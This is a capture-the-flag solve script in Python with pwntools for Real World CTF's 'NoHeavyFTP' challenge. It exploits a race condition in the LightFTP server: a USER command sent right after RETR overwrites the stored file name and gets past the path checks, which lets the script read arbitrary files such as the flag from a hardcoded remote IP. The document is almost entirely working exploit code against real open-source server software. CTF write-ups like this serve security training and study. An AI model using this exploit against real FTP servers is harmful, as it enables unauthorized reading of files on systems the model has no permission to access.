Real World CTF NoHeavyFTP

solve.py

from pwn import *
import binascii
context.terminal = ['alacritty', '-e', 'zsh', '-c']

'''
Author: @xct_de
Desc:   Overwrite context->fileName due to race condition bypassing path checks.
        https://github.com/hfiref0x/LightFTP/
        https://realworldctf.com/
'''

# gdb hack
def _new_binary():
	return "gdb-gef"
gdb.binary = _new_binary

RHOST = b"47.89.253.219"

def init():
    p.recvuntil(b"220")
    p.sendline(b"USER anonymous")
    p.recvuntil(b"331")
    p.sendline(b"PASS root")
    p.recvuntil(b"230")
    p.sendline(b"PASV")
    p.recvline()
    result = p.recvline().rstrip(b"\r\b")
    parts = [int(s) for s in re.findall(r'\b\d+\b', result.decode())]
    port = parts[-2]*256+parts[-1]
    return port


def read(port):
    p = remote(RHOST, port, level='debug')
    print(p.recvall(timeout=2))
    p.close()

# list dir
'''
p = remote(RHOST, 2121, level='debug')
p.newline = b'\r\n'
port =init()

p.sendline(b"LIST ")
p.sendline(b"USER /")
p.recvline()
read(port)
p.recvline()
p.recvline()
p.close()
'''

p = remote(RHOST, 2121, level='debug')
p.newline = b'\r\n'
port =init()

p.sendline(b"RETR hello.txt")
p.sendline(b"USER /flag.deb10154-8cb2-11ed-be49-0242ac110002")
p.recvline()
read(port)
p.recvline()
p.recvline()
p.close()